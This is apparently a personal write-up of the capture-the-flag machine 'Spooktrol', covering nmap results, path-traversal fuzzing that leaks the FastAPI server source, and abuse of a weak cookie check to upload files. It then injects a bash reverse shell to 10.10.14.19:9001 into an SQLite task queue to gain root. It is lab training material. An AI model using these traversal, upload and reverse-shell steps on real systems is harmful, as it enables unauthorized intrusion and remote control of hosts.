Spooktrol
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-08 17:33 IST
Nmap scan report for 10.10.11.123
Host is up (0.085s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp   open  http    uvicorn
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: uvicorn
| http-robots.txt: 1 disallowed entry 
|_/file_management/?file=implant
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 Not Found
|     date: Thu, 08 Feb 2024 12:03:56 GMT
|     server: uvicorn
|     content-length: 22
|     content-type: application/json
|     Connection: close
|     {"detail":"Not Found"}
|   GetRequest: 
|     HTTP/1.1 200 OK
|     date: Thu, 08 Feb 2024 12:03:44 GMT
|     server: uvicorn
|     content-length: 43
|     content-type: application/json
|     Connection: close
|     {"auth":"1824da4c1193d94e95f28b659423cbc0"}
|   HTTPOptions: 
|     HTTP/1.1 405 Method Not Allowed
|     date: Thu, 08 Feb 2024 12:03:50 GMT
|     server: uvicorn
|     content-length: 31
|     content-type: application/json
|     Connection: close
|_    {"detail":"Method Not Allowed"}
2222/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 16:77:76:8a:65:a3:db:23:11:21:66:6e:e4:c3:f2:32 (RSA)
|   256 61:92:eb:7a:a9:14:d7:60:51:00:0c:44:21:a2:61:08 (ECDSA)
|_  256 75:c1:96:9c:69:aa:c8:74:ef:4f:72:bd:62:53:e9:4c (ED25519)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94%I=7%D=2/8%Time=65C4C327%P=x86_64-pc-linux-gnu%r(GetRe
SF:quest,BB,"HTTP/1\.1\x20200\x20OK\r\ndate:\x20Thu,\x2008\x20Feb\x202024\
SF:x2012:03:44\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2043\r\nco
SF:ntent-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"auth\
SF:":\"1824da4c1193d94e95f28b659423cbc0\"}")%r(HTTPOptions,BF,"HTTP/1\.1\x
SF:20405\x20Method\x20Not\x20Allowed\r\ndate:\x20Thu,\x2008\x20Feb\x202024
SF:\x2012:03:50\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2031\r\nc
SF:ontent-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"deta
SF:il\":\"Method\x20Not\x20Allowed\"}")%r(FourOhFourRequest,AD,"HTTP/1\.1\
SF:x20404\x20Not\x20Found\r\ndate:\x20Thu,\x2008\x20Feb\x202024\x2012:03:5
SF:6\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2022\r\ncontent-type
SF::\x20application/json\r\nConnection:\x20close\r\n\r\n{\"detail\":\"Not\
SF:x20Found\"}");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.56 seconds

Pasted image 20240208215236.png

Pasted image 20240208215248.png

/file_management/?file=implant

Its a binary
Pasted image 20240208215333.png

curl http://10.10.11.123/file_management/\?file\=implant -o implant
For some reasons I was not able to run the file.
Pasted image 20240208215415.png

Pasted image 20240208215534.png
Nmap says its uvicorn which is python so i ll fuzz for python files in .. directory
Pasted image 20240208215453.png

 wfuzz -u '10.10.11.123/file_management/?file=../FUZZ.py' -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt --hc 500

Pasted image 20240208215714.png

➜  test curl http://10.10.11.123/file_management/\?file\=../server.py                 
import uvicorn

if __name__ == "__main__":
    uvicorn.run("app.main:app", host="0.0.0.0", port=8000, reload=True)

It says there is app directory and inside it there is a main.py

main.py

from typing import Optional
from fastapi import File, UploadFile, Request 
from fastapi import FastAPI
from fastapi.encoders import jsonable_encoder
from fastapi.responses import FileResponse, JSONResponse, PlainTextResponse
from random import randrange
import os, subprocess
import json
import uvicorn
import app.database
from urllib.parse import parse_qs
import app.models

from .database import SessionLocal, engine
from . import models, crud

app = FastAPI(docs_url=None, redoc_url=None, openapi_url=None)
models.Base.metadata.create_all(bind=engine)


@app.get("/")
def get_root(request: Request, hostname = "") -> dict:
    """
    Lazy auth, return a number divisible by 42.  Make it look like MD5Sum
    """
    if 'Cookie' in request.headers:
        auth = request.headers.get("Cookie")[5:]
        # We are divisible by 42
        if int(auth, 16) % 42 == 0 and hostname:
            crud.create_user(SessionLocal(), auth, hostname)
            crud.create_task(SessionLocal(), auth, 1, "whoami")            
            return { "task": 0 }
            
    return { "auth": str(hex(randrange(511111111111111111111111111111111111,999999999999999999999999999999999999)*42)[2:]) }

@app.get("/robots.txt", response_class=PlainTextResponse)
def get_robots() -> str:
    return "Disallow: /file_management/?file=implant\n"



@app.get("/poll")
def get_tasks(request: Request) -> dict:
    if 'Cookie' in request.headers:
        auth = request.headers.get("Cookie")[5:]
        # We are divisible by 42
        if int(auth, 16) % 42 == 0:
            x = crud.implant_checkin(SessionLocal(), auth)
            print(x)
            return x
    return { "task": 0 }

@app.post("/result")
async def update_task(request: Request) -> dict:
    body = b''
    async for chunk in request.stream():
        body += chunk
    
    x = parse_qs(body.decode())
    task = x["id"][0]
    result = x["result"][0]
    crud.update_result(SessionLocal(), task, result)
    return 

@app.get("/file_management/")
async def download_file(file):
    file_path = "files/" + file
    return FileResponse(file_path)

@app.put("/file_upload/")
async def file_upload(request: Request, file: UploadFile = File(...)):
    auth = request.headers.get("Cookie")[5:]
    # We are divisible by 42
    if int(auth, 16) % 42 != 0:
        return JSONResponse(status_code=500, content={'message': 'Internal Server Error'})
    try:
        os.mkdir("files")
        print(os.getcwd())
    except Exception as e:
        print(e)
    file_name = os.getcwd() + "/files/" + file.filename.replace(" ", "-")
    try:
        with open(file_name,'wb+') as f:
            f.write(file.file.read())
            f.close()
    except:
        return JSONResponse(status_code=500, content={'message': 'Internal Server Error'})
    return JSONResponse(status_code=200, content={'message': 'File upload successful /file_management/?file=' + file.filename.replace(" ", "-") })

The interesting part in this scrip it the put section which looks like a file upload vulnerability if we can set the right cookie
the cookie is checking for a decimal number whose hex should be 0 when done a modulous operation by 42.
Pasted image 20240208215938.png

I ll make a curl request using PUT and the right cookie

curl -H 'Cookie: auth=2a' -X PUT -F file=@/etc/passwd 10.10.11.123/file_upload --proxy 127.0.0.1:8080

Pasted image 20240208220133.png
I ll intercept this request.
Pasted image 20240208220232.png

Going to the given url I can access my /etc/passwd file on the server
Pasted image 20240208220304.png

Now i ll see if i can ../ here and upload a .ssh file

ssh-keygen -f root

Pasted image 20240208220437.png

I ll ssh in
I was not able to get a session on port 22 ssh, I ll try on port 2222.
Pasted image 20240208220453.png

Pasted image 20240208220535.png

Pasted image 20240208220554.png

Using the .dump command we can see that there is a command which runs every 2 minute
Pasted image 20240208220800.png

sqlite> .dump tasks
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE tasks (
        id INTEGER NOT NULL, 
        target VARCHAR, 
        status INTEGER, 
        task INTEGER, 
        arg1 VARCHAR, 
        arg2 VARCHAR, 
        result VARCHAR, 
        PRIMARY KEY (id)
);
INSERT INTO tasks VALUES(1,'10a6dd5dde6094059db4d23d7710ae12',1,1,'whoami','',X'726f6f740a');
CREATE INDEX ix_tasks_id ON tasks (id);
COMMIT;

I ll Insert My command in the db with help of sqlite3 and hope for a reverse shell in 2 minutes.

INSERT INTO tasks VALUES(2,'10a6dd5dde6094059db4d23d7710ae12',0,1,'bash -c "bash -i >& /dev/tcp/10.10.14.19/9001 0>&1"','',X'726f6f740a');
sqlite>

In a minute I got a rev shell.
Pasted image 20240208220947.png

➜  app nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.123] 35660
bash: cannot set terminal process group (16177): Inappropriate ioctl for device
bash: no job control in this shell
root@spooktrol:~# ls
ls
implant
iptables.sh
master
root.txt
root@spooktrol:~# cat root.txt
cat root.txt
ffd414d51671fd38b2a51ce71ca6a9ba
root@spooktrol:~#